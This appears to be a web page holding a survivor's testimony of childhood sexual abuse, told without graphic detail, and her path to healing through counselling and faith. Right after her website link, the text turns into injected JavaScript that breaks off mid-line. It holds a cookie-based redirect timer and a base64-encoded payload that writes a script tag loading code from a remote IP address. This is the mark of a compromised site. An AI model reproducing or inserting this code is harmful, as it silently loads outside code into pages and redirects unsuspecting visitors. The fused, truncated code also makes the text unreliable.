034 – Debra R. (United States)

The hand of evil touched me when I was 4 years old. I was an innocent bright eyed and beautiful little girl who trusted and loved all! I was pulled into an apartment to play a “game” but I had no idea how to play it…I was taught. This began an ongoing series of being touched, groped and raped by numerous family members, friends of the family, and strangers. I must have had some mark on me that said, use and abuse her. I told no one out of fear and threats made against me and my family. I grew up feeling very different and believed no one liked me. It was a shock to me and many when in high school I became the town beauty queen. I didn’t feel pretty on the inside, but I knew how to put on a happy face as well as an academy award performance. The plastic smile was part of the mask that I hid behind so no one could see the shame, guilt, sadness and fear of the little girl inside. During college, I had academic problems and went to see a counselor who sensed something and asked me if I had ever been sexually abused. I am so grateful for that person who tuned into me and listened. It began my healing journey. That was over 20 years ago and through hard work, determination, therapy, writing, sharing my story and my personal relationship with God I am striving to Reach My Full Potential and overcome the evil that tried to destroy my life. I am in Graduate School and working on getting my Masters in Counseling. It takes strength, determination and courage to survive sexual abuse. I am taking all of that along with the pain and tears and using it to encourage others. Only those who have walked down the dark and lonely path of Sexual Abuse truly understand and can help others out of that hurt. I am a wounded healer and I believe it was all part of my life purpose. I truly believe that the evil things that are meant for our harm can be used by God for good if we are willing and open to it. Hurt People, Hurt People and the Road to Freedom is through the doorway of forgiveness. Forgiveness does not mean what was done was right it just allows you to become right. I am striving to reach My Full Potential and I share what has been helpful for me so others can reach theirs too. www.YourFullPotential.org ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘